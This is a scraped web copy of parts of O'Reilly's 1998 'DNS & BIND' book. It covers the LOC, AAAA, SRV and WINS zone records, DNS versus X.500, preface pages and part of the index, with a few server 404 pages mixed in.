If you don't have your own Global Positioning System receiver to carry around to all of your computers, two sites that may come in handy are Etak's Eagle Geocoder, at http://www.geocode.com/eagle.html-ssi, which you can use to find the latitude and longitude of most addresses in the United States; and AirNav's Airport Information, at http://www.airnav.com/airports/, which will let you find the elevation of the closest airport to you. If you don't have a major airport near you, don't worry: the database even includes the helipad at my neighborhood hospital!

Here's a LOC record for one of our hosts:

huskymo.acmebw.com.      IN     LOC     40 2 0.373 N 105 17 23.528 W 1638m

Optional fields in the record-specific data allow you to specify how large the entity you're describing is, in meters (LOC records can describe networks, after all, which can be quite large), as well as the horizontal and vertical precision. The size defaults to one meter, which is perfect for a single host. Horizontal precision defaults to 10,000 meters, and vertical precision to ten meters. These defaults represent the size of a typical ZIP or postal code, the idea being that you can fairly easily find a latitude and longitude given a ZIP code.

You can also attach LOC records to the names of subnets and networks. If you've taken the time to enter information about the names and addresses of your networks in the format described in RFC 1101 (covered earlier in this chapter), you can attach LOC records to the network names:

;
; Map HP's network name to 15.0.0.0.
;
hp-net.hp.com.   IN   PTR 0.0.0.15.in-addr.arpa.
                 IN   LOC 37 24 55.393 N 122 8 37 W 26m

15.7.5 IPv6 Addresses

If you're to believe the hype, IPv6 is coming soon to a network near you. Clearly, the existing A record won't accommodate IPv6's 128-bit addresses: BIND expects an A record's record-specific data to be a 32-bit address in dotted-octet format.

RFC 1886 introduces a new address record, AAAA, used to store a 128-bit IPv6 address. AAAA takes as its record-specific data the textual format of an IPv6 record described in RFC 1884. This format expresses the 128 bits of the address as eight sets of four hexadecimal digits, separated by colons (":"). The first set of four digits encodes the high-order 16 bits of the address. Every set of four bits are compressed into the equivalent hexadecimal digit (e.g., 1111 becomes f). You can omit leading zeroes in a set of hexadecimal digits.

So, for example, you'd see AAAA records like this:

ipv6         IN     AAAA            4321:0:1:2:3:4:567:89ab

RFC 1886 also extends the additional processing that BIND and other name servers do, so that name servers include AAAA records for mail exchangers and name servers that speak IPv6, for example.

Finally, RFC 1886 establishes a new reverse mapping namespace for IPv6 addresses, called ip6.int. Each level of subdomain under ip6.int represents a nibble (a 4-bit quantity) in the 128-bit address, with the low-order nibble encoded first (appearing at the far left of the domain name). Unlike the format of addresses in AAAA records, omitting leading zeroes is not allowed, so there are always 32 nibbles and 32 levels of subdomain below ip6.int in a domain name corresponding to a full IPv6 address. The domain name that corresponds to the address in the example above is:

b.a.9.8.7.6.5.0.4.0.0.0.3.0.0.0.2.0.0.0.1.0.0.0.0.0.0.0.1.2.3.4.IP6.INT.

These domain names have PTR records attached, just as domain names under in-addr.arpa do.

15.7.6 SRV

Locating a service or server within a zone, if you don't know which host it runs on, is a difficult problem. Some domain administrators have attempted to solve this problem by using service-specific aliases in their zones. For example, at Movie U. we created the alias ftp.movie.edu and point it to the domain name of our FTP archive:

ftp.movie.edu.      IN    CNAME           plan9.fx.movie.edu.

This makes it easy for people to guess a domain name that will get them to our FTP archive, and separates the name people use to access to archive from the domain name of the host it runs on. If we were to move the archive to a different host, we could simply change the CNAME record.

The experimental SRV record, introduced in RFC 2052, is a general mechanism for locating services. SRV also provides powerful features that allow domain administrators to distribute load and provide backup services, similar to the MX record.

A unique aspect of the SRV record is the format of the domain name it's attached to. Like service-specific aliases, the domain name to which an SRV record is attached gives the name of the service sought, as well as the protocol it runs over, concatenated with a domain name. So, for example:

ftp.tcp.movie.edu

would represent the SRV records someone ftping to movie.edu should retrieve in order to find the movie.edu FTP servers, while:

http.tcp.www.movie.edu

represents the SRV records someone accessing the URL http://www.movie.edu/ should look up in order to find the www.movie.edu web servers.

The names of the service and protocol should appear in the latest Assigned Numbers RFC (the most recent as of this writing is RFC 1700), or be unique names used only locally. Don't use the port or protocol numbers, just the names.

The SRV record has four resource record-specific fields:

priority    weight    port    target

priority, weight, and port are unsigned 16-bit numbers (between 0 and 65535). target is a domain name.

Priority works very similarly to the preference in an MX record: the lower the number in the priority field, the more desirable the associated target. When searching for the hosts offering a given service, clients should try targets at the same priority before trying those at a higher priority value.

Weight allows domain administrators to distribute load to multiple targets. Clients should query targets at the same priority in proportion to their weight. For example, if one target has a priority of zero and a weight of one, and another target also has a priority of zero but a weight of two, the second target should receive twice as much load (in queries, connections, whatever) as the first.

Port specifies the port on which the service being sought is running. This allows domain administrators to run servers on non-standard ports. For example, a domain administrator could use SRV records to point web browsers at a web server running on port 8000 instead of the standard HTTP port (80).

Target, finally, specifies the domain name of a host on which the service is running (on the port specified in the port field). Target must be the canonical name of the host (not an alias), with address records attached to it.

So, for the movie.edu FTP server, we added these records to db.movie:

ftp.tcp             IN     SRV     1       0       21      plan9.fx.movie.edu.
                    IN     SRV     2       0       21      thing.fx.movie.edu.

This instructs SRV-capable FTP clients to try the FTP server on plan9.fx.movie.edu's port 21 first when connecting to movie.edu, and then to try the FTP server on thing.fx.movie.edu's port 21 if plan9's FTP server isn't available.

The records:

http.tcp.www  IN SRV 0 2 80   www.movie.edu.
              IN SRV 0 1 80   www2.movie.edu.
              IN SRV 1 1 8000 postmanrings2x.movie.edu.

direct web queries for www.movie.edu to www.movie.edu's port 80 and www2.movie.edu's port 80, with www.movie.edu getting twice the queries that www2.movie.edu does. If neither is available, queries go to postmanrings2x, on port 8000.

Unfortunately, we don't know of any clients that support the SRV record yet. That's really too bad, given how useful SRV could be. Since SRV isn't widely supported, don't use SRV records in lieu of address records. It's prudent to include at least one address record for the "base" domain name to which your SRV records are attached, and more if you'd like the load spread between addresses. If you only list a host as a backup in the SRV records, don't include its IP address. Also, if a host runs a service on a non-standard port, don't include an address record for it, since there's no way to redirect clients to a non-standard port with an A record.

So, for www.movie.edu, we include all of these records:

http.tcp.www IN SRV 0 2 80   www.movie.edu.
             IN SRV 0 1 80   www2.movie.edu.
             IN SRV 1 1 8000 postmanrings2x.movie.edu.
www          IN A 200.1.4.3
             IN A 200.1.4.4

Browsers that can handle SRV records (whenever they come out) will send twice as many requests to www.movie.edu as to www2.movie.edu, and will only use postmanrings2x.movie.edu if both of the main web servers are unavailable. Browsers that don't use SRV records will have their requests round-robinned between www and www2.

Previous: 15.6 Network Names and Numbers | DNS & BIND | Next: 15.8 DNS Versus X.500
15.6 Network Names and Numbers | Book Index | 15.8 DNS Versus X.500


[Chapter 15] 15.8 DNS Versus X.500

DNS & BIND

DNS & BINDSearch this book
Previous: 15.7 Additional Resource Records Chapter 15
Miscellaneous 		Next: 15.9 DNS and WINS

15.8 DNS Versus X.500

X.500 is an ISO (International Standards Organization) standard distributed directory system that's sometimes seen as a "competitor" to DNS. X.500 does, indeed, include some of the same functionality DNS does. For example, you can use X.500 to retrieve address information for a particular host. And in some ways, the two are similar: X.500 directories store data in hierarchical name spaces, and use recursion and iteration (well, ISO calls them "chaining" and "referral"). While we can hardly claim to be experts on X.500, we can make some general comparisons between DNS and X.500:

  • X.500, as a directory service, supports many types of searching. Whereas DNS servers simply look up data attached to a given domain name, you can search the X.500 Directory Information Tree for soundalike matches, or specify incomplete information ("I know his last name is Buttle and he works in the Ministry of Information") and still turn up data.

  • X.500 is a full-blown distributed database meant to be used for a wide variety of applications. You can store the phone book in an X.500 database. You can store location data in an X.500 database. You can store information about all sorts of network devices and their attributes. DNS, on the other hand, is a relatively simple distributed database meant to solve a particular problem - an intractable HOSTS.TXT database.

  • X.500 has security features involving credentials and the support of multiple encryption types; DNS is not secure.[4]

    [4] Yet. The DNS Security Extensions described in RFC 2065 will allow cryptographic authentication of the source of zone data as well as data integrity checking, and more.

Anyway, you get the idea. X.500 is rich in capabilities and will be extremely useful when it is completely defined, implemented, and optimized. DNS provides a few, critical functions. It is, for the most part, fully implemented, and it will continue to evolve and improve.

Don't let this turn you off to DNS, though. The Domain Name System really is admirably good at its job, and it does it much faster than X.500 does. True, X.500 offers richer functionality, but it may never usurp DNS's position as the Internet's directory system of choice.

Previous: 15.7 Additional Resource Records | DNS & BIND | Next: 15.9 DNS and WINS
15.7 Additional Resource Records | Book Index | 15.9 DNS and WINS


[Chapter 15] 15.9 DNS and WINS

DNS & BIND

DNS & BINDSearch this book
Previous: 15.8 DNS Versus X.500 Chapter 15
Miscellaneous 		Next: A. DNS Message Format and Resource Records

15.9 DNS and WINS

In our first edition, we mentioned the close alignment between NetBIOS names and DNS domain names, but noted that, alas, there was no way for DNS to function as a NetBIOS name server. Basically, a DNS name server would need to support dynamic updates to function as a NetBIOS name server.

Of course, BIND 8 supports dynamic updates. Unfortunately, Microsoft's DHCP server doesn't yet send dynamic updates to DNS server. It only talks to Microsoft's WINS servers. WINS servers handle dynamic updates, though only for NetBIOS clients. In other words, a WINS name server doesn't speak DNS.

However, Microsoft provides a DNS server in Windows NT 4.0, which in turn can talk to WINS servers. The Microsoft DNS Server has a nice graphical administration tool, as you would expect from Microsoft, and provides a handy hook into WINS: you can configure the server to query a WINS server for address data if it doesn't find the data in a DNS zone.

This is done with a new WINS record in the zone data file. The WINS record is attached to the zone's domain name, like the SOA record. It acts as a flag, to tell the Microsoft DNS Server to query a WINS server if it doesn't find an address for the name it's looking up. The record:

@        0       IN     WINS            192.249.249.39 192.253.253.39

tells the Microsoft DNS Server to query the WINS servers running at 192.249.249.39 and 192.253.253.39 (in that order) for the name. The zero TTL is a precaution against the record being looked up and cached.

There's also a companion WINS-R record that allows a Microsoft DNS Server to reverse map IP addresses using a NetBIOS NBSTAT request. If the data file for an in-addr.arpa zone contains a WINS-R record, like:

@        0      IN      WINS-R          movie.edu

and the IP address sought doesn't appear in the file, the name server will attempt to send a NetBIOS NBSTAT request to the IP address being reverse mapped. This amounts to calling a phone number and asking the person on the end, "What's your name?" The result has a dot and the domain name in the record-specific data appended, in this case ".movie.edu".

These records provide valuable glue between the two name spaces. Unfortunately, the integration isn't perfect. As they say, the devil is in the details.

The main problem, as we see it, is that only the Microsoft DNS Servers support WINS and WINS-R.[5] Therefore, if you want lookups in the fx.movie.edu zone to be tried on the Special Effects Department's WINS server, then all fx.movie.edu name servers must be Microsoft DNS Servers. Why? Imagine that the DNS servers for fx.movie.edu were mixed, some Microsoft DNS Servers and some BIND. If a remote DNS server needed to look up a NetBIOS name in fx.movie.edu, it would choose which of the fx.movie.edu DNS servers to query according to round trip time. If the server it happened to choose were a Microsoft DNS Server, it would be able to resolve the name to a dynamically assigned address. But if it happened to choose a BIND server, it wouldn't be able to resolve the name.

[5] And a few commercial products, like MetaInfo's Meta IP/DNS, which is a port of BIND 8.1.1 with WINS capabilities added on. Stock BIND, however, can't talk to WINS servers.

The best DNS-WINS configuration we've heard of so far puts all WINS-mapped data in its own DNS zone, say mobile.movie.edu. All the name servers for mobile.movie.edu are Microsoft DNS Servers, and the zone mobile.movie.edu contains just SOA records, NS records, and a WINS record pointing to the WINS servers for mobile.movie.edu. This way, there's no chance of inconsistent answers between authoritative servers for the zone.

Another problem is that WINS and WINS-R are proprietary. BIND name servers don't understand them, and in fact a BIND slave that transfers a WINS record from a Microsoft DNS Server primary master will fail to load the zone because WINS is an unknown type. (We discussed this, and how to work around it, in greater detail in Chapter 13, Troubleshooting DNS and BIND.)

The answer to these problems is the DNS standard dynamic update functionality introduced in BIND 8, described in Chapter 10. Dynamic update will allow authorized addition, modification, and deletion of records in a BIND name server, which in turn gives the folks at Microsoft the functionality they need to use DNS as a name service for NetBIOS. Microsoft has promised to do away with WINS and use standard DNS dynamic update with Windows NT 5.0. Whether they make good on their promise remains to be seen. We hope they do. It's hard enough to administer one naming service well.

Previous: 15.8 DNS Versus X.500 | DNS & BIND | Next: A. DNS Message Format and Resource Records
15.8 DNS Versus X.500 | Book Index | A. DNS Message Format and Resource Records


DNS & BIND

By Cricket Liu & Paul Albitz; ISBN 1-56592-512-2, 502 pages.
Third Edition, September 1998.
(See the catalog page for this book.)

Search the text of DNS & BIND.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Table of Contents

Preface
Chapter 1: Background
Chapter 2: How Does DNS Work?
Chapter 3: Where Do I Start?
Chapter 4: Setting Up BIND
Chapter 5: DNS and Electronic Mail
Chapter 6: Configuring Hosts
Chapter 7: Maintaining BIND
Chapter 8: Growing Your Domain
Chapter 9: Parenting
Chapter 10: Advanced Features and Security
Chapter 11: nslookup
Chapter 12: Reading BIND Debugging Output
Chapter 13: Troubleshooting DNS and BIND
Chapter 14: Programming with the Resolver and Name Server Library Routines
Chapter 15: Miscellaneous

Appendix A: DNS Message Format and Resource Records
Appendix B: Compiling and Installing BIND on a Sun
Appendix C: Top-Level Domains
Appendix D: Domain Registration Form
Appendix E: in-addr.arpa Registration Form
Appendix F: BIND Name Server and Resolver Statements

The Networking CD Bookshelf Navigation The Networking CD BookshelfTCP/IP Network Administrationsendmailsendmail Desktop ReferenceBuilding Internet FirewallsPractical UNIX & Internet Security

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Preface

Contents:
Versions
Organization
Audience
Obtaining the Example Programs
Conventions Used in This Book
Quotations
Acknowledgments

You may not know much about the Domain Name System - yet - but whenever you use the Internet, you use DNS. Every time you send electronic mail or surf the World Wide Web, you rely on the Domain Name System.

You see, while you, as a human being, prefer to remember the names of computers, computers like to address each other by number. On an internet, that number is 32 bits long, or between zero and four billion or so.[1] That's easy for a computer to remember, because computers have lots of memory ideal for storing numbers, but it isn't nearly as easy for us humans. Pick ten phone numbers out of the phone book at random, and then try to remember them. Not easy? Now flip to the front of the book and attach random area codes to the phone numbers. That's about how difficult it would be to remember ten arbitrary internet addresses.

[1] And, with IP version 6, it's soon to be a whopping 128 bits long, or between zero and a decimal number with 39 digits.

This is part of the reason we need the Domain Name System. DNS handles mapping between host names, which we humans find convenient, and internet addresses, which computers deal with. In fact, DNS is the standard mechanism on the Internet for advertising and accessing all kinds of information about hosts, not just addresses. And DNS is used by virtually all internetworking software, including electronic mail, remote terminal programs such as telnet, file transfer programs such as ftp, and web browsers such as Netscape Navigator and Microsoft Internet Explorer.

Another important feature of DNS is that it makes host information available all over the Internet. Keeping information about hosts in a formatted file on a single computer only helps users on that computer. DNS provides a means of retrieving information remotely, from anywhere on the network.

More than that, DNS lets you distribute the management of host information among many sites and organizations. You don't need to submit your data to some central site or periodically retrieve copies of the "master" database. You simply make sure your section, called a zone, is up to date on your name servers. Your name servers make your zone's data available to all the other name servers on the network.

Because the database is distributed, the system also needs the ability to locate the data you're looking for by searching a number of possible locations. The Domain Name System gives name servers the intelligence to navigate through the database and find data in any zone.

Of course, DNS does have a few problems. For example, the system allows more than one name server to store data about a zone, for redundancy's sake. But inconsistencies can crop up between copies of the zone data.

But the worst problem with DNS is that despite its widespread use on the Internet, there's really very little documentation about managing and maintaining it. Most administrators on the Internet make do with the documentation their vendors see fit to provide, and with whatever they can glean from following the Internet mailing lists and Usenet newsgroups on the subject.

This lack of documentation means that the understanding of an enormously important internet service - one of the linchpins of today's Internet - is either handed down from administrator to administrator like a closely-guarded family recipe, or relearned repeatedly by isolated programmers and engineers. New administrators of domains suffer through the same mistakes made by countless others.

Our aim with this book is to help remedy this situation. We realize that not all of you have the time or the desire to become DNS experts. Most of you, after all, have plenty to do besides managing a domain or a name server: system administration, network engineering, or software development. It takes an awfully big institution to devote a whole person to DNS. We'll try to give you enough information to allow you to do what you need to do, whether that's running a small domain or managing a multinational monstrosity, tending a single name server or shepherding a hundred of them. Read as much as you need to know now, and come back later if you need to know more.

DNS is a big topic - big enough to require two authors, anyway - but we've tried to present it as sensibly and understandably as possible. The first two chapters give you a good theoretical overview and enough practical information to get by, and later chapters fill in the nitty-gritty details. We provide a roadmap up front, to suggest a path through the book appropriate for your job or interest.

When we talk about actual DNS software, we'll concentrate almost exclusively on BIND, the Berkeley Internet Name Domain software, which is the most popular implementation of the DNS specs (and the one we know best). We've tried to distill our experience in managing and maintaining a domain with BIND into this book - a domain, incidentally, that is one of the largest on the Internet. (We don't mean to brag, but we can use the credibility.) Where possible, we've included the real programs that we use in administration, many of them rewritten into Perl for speed and efficiency.

We hope that this book will help you get acquainted with DNS and BIND if you're just starting out, let you refine your understanding if you're already familiar with them, and provide valuable insight and experience even if you know 'em like the back of your hand.

Versions

This book deals with the new 8.1.2 version of BIND as well as the older 4.9 versions. While 8.1.2 is the most recent version as of this writing, it hasn't made its way into many vendors' versions of UNIX yet, partly because 8.1.2 has only recently been released, and many vendors are wary of using such new software. We will also occasionally mention other versions of BIND, especially 4.8.3, because many vendors continue to ship code based on this older software as part of their UNIX products. Whenever a feature is available only in the 4.8.3, 4.9, or 8.1.2 version, or there is a difference in the behavior of the versions, we try to point out which version does what.

We use nslookup, a name server utility program, a great deal in our examples. The version of nslookup we use is the one shipped with the 8.1.2 BIND code. Older versions of nslookup provide much, but not quite all, of the functionality in the 8.1.2 nslookup. We have tried to use commands common to most nslookups in our examples; when this was not possible, we tried to note it.

DNS & BIND | Next: Organization
Book Index | Organization


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/dnsbind/prf1_02.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Preface] Audience

DNS & BIND

DNS & BINDSearch this book
Previous: Organization Preface Next: Obtaining the Example Programs

Audience

This book is intended primarily for system administrators who manage a domain and one or more name servers, but it also includes material for network engineers, postmasters, and others. Not all of the book's chapters will be equally interesting to a diverse audience, though, and you don't want to wade through fifteen chapters to find the information pertinent to your job. We hope this roadmap will help you plot your way through the book.

System administrators setting up their first domain should read Chapters 1 and 2 for DNS theory, Chapter 3 for information on getting started and selecting a good domain name, then Chapters 4 and 5 to learn how to set up a domain for the first time. Chapter 6 explains how to configure hosts to use the new name servers. Soon after, they should read Chapter 7, which explains how to "flesh out" their domain implementation by setting up additional name servers and adding additional data. Then, Chapters 11, 12, and 13 describe troubleshooting tools and techniques.

Experienced administrators could benefit from reading Chapter 6 to learn how to configure DNS resolvers on different hosts, and Chapter 7 for information on maintaining their domains. Chapter 8 contains instructions on how to plan for a domain's growth and evolution, which should be especially valuable to administrators of large domains. Chapter 9 explains parenting - creating subdomains - which is de rigueur reading for those considering the big move. Chapter 10 covers security features of the new BIND 8.1.2 name server, many of which may be very useful for experienced administrators. Chapters 11 through 13 describe tools and techniques for troubleshooting, which even advanced administrators may find worth reading.

System administrators on networks without full Internet connectivity should read Chapter 5 to learn how to configure mail on such networks, and Chapter 15 to learn how to set up an independent DNS infrastructure.

Programmers can read Chapters 1 and 2 for DNS theory, then Chapter 14 for detailed coverage of how to program with the BIND resolver library routines.

Network administrators not directly responsible for a domain should still read Chapters 1 and 2 for DNS theory, then Chapter 11 to learn how to use nslookup, plus Chapter 13 for troubleshooting tactics.

Postmasters should read Chapters 1 and 2 for DNS theory, then Chapter 5 to find out how DNS and electronic mail coexist. Chapter 11, which describes nslookup, will also help postmasters dig mail routing information out of the domain name space.

Interested users can read Chapters 1 and 2 for DNS theory, and then whatever else they like!

Note that we assume you're familiar with basic UNIX system administration, TCP/IP networking, and programming using simple shell scripts and Perl. We don't assume you have any other specialized knowledge, though. When we introduce a new term or concept, we'll do our best to define or explain it. Whenever possible, we'll use analogies from UNIX (and from the real world) to help you understand.

Previous: Organization | DNS & BIND | Next: Obtaining the Example Programs
Organization | Book Index | Obtaining the Example Programs


[Preface] Obtaining the Example Programs

DNS & BIND

DNS & BINDSearch this book
Previous: Audience Preface Next: Conventions Used in This Book

Obtaining the Example Programs

The example programs in this book are available electronically via ftp from these URLs:

ftp://ftp.uu.net/published/oreilly/nutshell/dnsbind/dns.tar.Z
ftp://ftp.ora.com/published/oreilly/nutshell/dnsbind/dns.tar.Z

In either case, extract the files from the archive by typing:

% zcat dns.tar.Z | tar xf -

System V systems require the following tar command instead:

% zcat dns.tar.Z | tar xof -

If zcat is not available on your system, use separate uncompress and tar commands.

If you cannot get the examples directly over the Internet, but can send and receive email, you can use ftpmail to get them. For help using ftpmail, send email to ftpmail@online.oreilly.com with no subject and the single word "help" in the body.

Previous: Audience | DNS & BIND | Next: Conventions Used in This Book
Audience | Book Index | Conventions Used in This Book


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/dnsbind/prf1_05.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/tcpip/dnsbind/prf1_06.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


[Preface] Acknowledgments

DNS & BIND

DNS & BINDSearch this book
Previous: Quotations Preface Next: 1. Background

Acknowledgments

The authors would like to thank Ken Stone, Jerry McCollom, Peter Jeffe, Christopher Durham, Hal Stern, Bill Wisner, Dave Curry, Jeff Okamoto, Brad Knowles, K. Robert Elz, and Paul Vixie for their invaluable contributions to this book. We'd also like to thank our reviewers, Eric Pearce, Jack Repenning, Andrew Cherenson, Dan Trinkle, Bill LeFebvre, and John Sechrest for their criticism and suggestions. Without their help, this book would not be what it is (it'd be much shorter!).

For the second edition, the authors would like to add their thanks to their sterling review team: Dave Barr, Nigel Campbell, Bill LeFebvre, Mike Milligan, and Dan Trinkle.

For the third edition, the authors salute their technical review Dream Team: Bob Halley, Barry Margolin and Paul Vixie.

Cricket would particularly like to thank his former manager, Rick Nordensten, who is the very model of a modern HP manager, on whose watch the first version of this book was written; his neighbors, who bore his occasional crabbiness for many months; and of course his wife, Paige, for her unflagging support and for putting up with his tap-tap-tapping during her nap-nap-napping. For the second edition, Cricket would like to add a thank you to his former managers, Regina Kershner and Paul Klouda, for their support of Cricket's work with the Internet. For the third edition, Cricket acknowledges a debt of gratitude to his partner, Matt Larson, for his co-development of the Acme Razor.

Paul would like to thank his wife Katherine for her patience, for many review sessions, and for proving that she could make a quilt in her spare time more quickly than her spouse could write his half of a book.

We would also like to thank the folks at O'Reilly & Associates for their hard work and patience. Credit is especially due our editor, Mike Loukides; our production editor for the second edition, Nancy Kotary; Ellie Fountain Maden (third edition), Robert Romano (third edition), Steven Abrams; our production copy editor, Kismet McDonough-Chan; our indexers, Seth Maislin (second and third editions) and Ellie Cutler (first edition); our production tools specialists, Mike Sierra and Lenny Muellner; and our illustrator, Chris Reilley (second edition). Thanks besides to Jerry Peek, for all sorts of miscellaneous help, and to Tim O'Reilly, for inspiring us to put it all in print.

And thanks, Edie, for the cricket on the cover!

Previous: Quotations | DNS & BIND | Next: 1. Background
Quotations | Book Index | 1. Background


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

/24 network, subnetting : 9.5.2.2. /24 (class C-sized) networks
* wildcard : 15.2. Wildcards
@ notation
4.4.2. @ Notation
A.1. Master File Format
. (dot)
default domain and : 6.1.1. The Default Domain
ndots substatement
6.1.6. The options Directive
F.2.6. options ndots (4.9.3 and later versions)
root domain
1.3. The Domain Name System, in a Nutshell
2.1. The Domain Name Space
4.2.9. The Root Cache Data
trailing in domain names
2.1.1. Domain Names
4.2.3. SOA Records
4.4.1. Appending Domains
13.3.6. 6. Missing Dot at the End of a Name in a DNS Database File
A.1. Master File Format
# (hash mark) for comments
4.3. Setting Up a BIND Configuration File
6.1.7. Comments
( ) (parentheses)
4.2.3. SOA Records
A.1. Master File Format
; (semicolon)
for comments : F.2.4. ; and # (4.9.3 and later versions)
; (semicolon) for comments
6.1.7. Comments
A.1. Master File Format
; (semicolon) for comments : 4.3. Setting Up a BIND Configuration File
/* */ comments : 4.3. Setting Up a BIND Configuration File
// comments : 4.3. Setting Up a BIND Configuration File

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

A records
4.2.1. The db Files
4.2.5. Address and Alias Records
A.1.2.1. A address
queries statistic : 7.6.2. Understanding the BIND Statistics
aa (authoritative answer) bit : 9.6. Good Parenting
AAAA records : 15.7.5. IPv6 Addresses
abbreviations in db files : 4.4. Abbreviations
ABRT signal
7.1. BIND Name Server Signals
7.6.2. Understanding the BIND Statistics
access
to name servers : (see resolvers)
rlogin and rsh fail access check : 13.6.5. rlogin and rsh to Host Fails Access Check
to services, denied : 13.6.6. Access to Services Denied
acl statement
10.1. Address Match Lists and ACLs
F.1.15. acl (8.X.X)
ACLs (access control lists) : 10.1. Address Match Lists and ACLs
adding
domains : 4.9. Adding More Domains
hosts
7.2.1. Adding and Deleting Hosts
13.3.4. 4. Added Name to Database File, but Forgot to Add PTR Record
name servers : 8.2. Adding More Name Servers
slave name servers : 9.4.6. Adding a movie.edu Slave
subdomains : 9.4. How to Become a Parent: Creating Subdomains
additional section, DNS packet
11.6.1. Seeing the Query and Response Packets
13.2.2. How to Read a Database Dump
14.2.1. DNS Packet Format
A.3.2. Answer, Authority, and Additional Section Format
addresses
A records : A.1.2.1. A address
address match lists : 10.1. Address Match Lists and ACLs
address type : 2.1.3. Resource Records
administrator's : 4.2.3. SOA Records
IPv6 : 15.7.5. IPv6 Addresses
ISDN
15.7.3. X25, ISDN, and RT
A.1.3.2. ISDN Integrated Services Digital Network address - experimental
local : 4.7.3.3. Look up a local address
loopback
4.2.8. The Loopback Address
6.1.4. The nameserver Directive
mapping names to : 4.2.5. Address and Alias Records
mapping to names
2.6.4. Mapping Addresses to Names
4.2.6. PTR Records
in MX records : 5.3. The MX Algorithm
no PTR data for
11.7.3. No PTR Data for Name Server's Address
13.3.4. 4. Added Name to Database File, but Forgot to Add PTR Record
queries statistic : 7.6.2. Understanding the BIND Statistics
registering network numbers : 3.2.3. Checking That Your Network Is Registered
searching for : 3.1.2. Finding IP Addresses
shuffle address records : 10.12. Load Sharing Between Mirrored Servers
sorting
4.2.5. Address and Alias Records
10.5. Name Server Address Sorting
10.5.4. Multiple Sortlist Entries
X.121 : 15.7.3. X25, ISDN, and RT
zero address : 6.1.4. The nameserver Directive
administration
Audience
7.6. Keeping Everything Running Smoothly
(see also updating)
avoiding bogus name servers : 10.10. Avoiding a Bogus Name Server
capacity planning : 8.1.2. Capacity Planning
checking delegation
9.6. Good Parenting
9.6.2. Managing Delegation
13.3.10. 10. Incorrect Subdomain Delegation
common tasks with nslookup : 11.5. Common Tasks
contacting administrators : 8.3. Registering Name Servers
contacting domain administrator : 3.2.2.1. The us domain
email address for : 4.2.3. SOA Records
mail exchangers : 5.2. What's a Mail Exchanger, Again?
maintenance intervals : 10.4.3. Maintenance Intervals
monitoring statistics : 7.6.2. Understanding the BIND Statistics
name server maintenance : 7. Maintaining BIND
logging (BIND 8) : 7.5. BIND 8 Logging
maintenance intervals : 10.4.3. Maintenance Intervals
monitoring name servers : 7.6. Keeping Everything Running Smoothly
organizing db files : 7.3. Organizing Your Files
updating db files : 7.2. Updating db Files
overworked servers : 8.1.2. Capacity Planning
planning for disaster : 8.5.2. Recommendations
preventing and handling disasters : 8.5. Planning for Disasters
system tuning : 10.4. System Tuning
updating named.root : 4.2.9. The Root Cache Data
AFSDB records
15.7.2. AFSDB
A.1.3.1. AFSDB Andrew File System Data Base - experimental
AIX : 6.4.4. IBM's AIX
aliases
1.3. The Domain Name System, in a Nutshell
4.2.5. Address and Alias Records
6.3.4. Providing Aliases
14.2.5. The _res Structure
15.1. Using CNAME Records
(see also CNAME records)
determining : 15.1.6. Finding Out a Host's Aliases
looking up : 15.1.5. Looking Up CNAMEs
multiple : 15.1.4. Multiple CNAME Records
in MX records : 5.3. The MX Algorithm
to other aliases : 15.1.2. CNAMEs Pointing to CNAMEs
transition to subdomains : 9.7. Managing the Transition to Subdomains
allow-query substatement : 10.11.2. Restricting Queries
allow-transfer substatement : 10.11.3. Preventing Unauthorized Zone Transfers
allow-update substatement (nsupdate) : 10.3. DNS Dynamic Update
Andrew File System (AFS)
15.7.2. AFSDB
A.1.3.1. AFSDB Andrew File System Data Base - experimental
anonymous ftp : 13.3.4. 4. Added Name to Database File, but Forgot to Add PTR Record
answer section, DNS packet
11.6.1. Seeing the Query and Response Packets
13.2.2. How to Read a Database Dump
14.2.1. DNS Packet Format
A.3.2. Answer, Authority, and Additional Section Format
ANY queries statistic : 7.6.2. Understanding the BIND Statistics
APNIC registry : 3.2.3. Checking That Your Network Is Registered
appending origin : 4.4.1. Appending Domains
application gateways : 15.4.1.2. Application gateways
ARIN registry
3.2.3. Checking That Your Network Is Registered
E. in-addr.arpa Registration Form
arpa domain
2.2.1. Top-Level Domains
9.4.5. Delegating an in-addr.arpa Zone
ARPAnet : 1. Background
asterisk (*) wildcard : 15.2. Wildcards
auth-nxdomain substatement : 13.5.7. Other Name Servers Don't Cache Your Negative Answers
authenticated name server : 15.7.2. AFSDB
authority
4.2.3. SOA Records
(see also SOA records)
aa bit : 9.6. Good Parenting
nslookup answers : 11.5.2. Authoritative Versus Nonauthoritative Answers
SOA records
3.2.1. Where in the World Do I Fit?
3.2.2.1. The us domain
4.2.1. The db Files
4.2.3. SOA Records
4.8.4. SOA Values
acceptable characters for : 4.5. Host Name Checking (BIND 4.9.4 and Later Versions)
unauthorized zone transfers : 10.11.3. Preventing Unauthorized Zone Transfers
zones : 2.4. Name Servers and Zones
authority section, DNS packet
11.6.1. Seeing the Query and Response Packets
13.2.2. How to Read a Database Dump
14.2.1. DNS Packet Format
A.3.2. Answer, Authority, and Additional Section Format
authorization files : 6.3.3. Updating .rhosts, hosts.equiv, etc.
AXFR queries statistic : 7.6.2. Understanding the BIND Statistics

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

backups
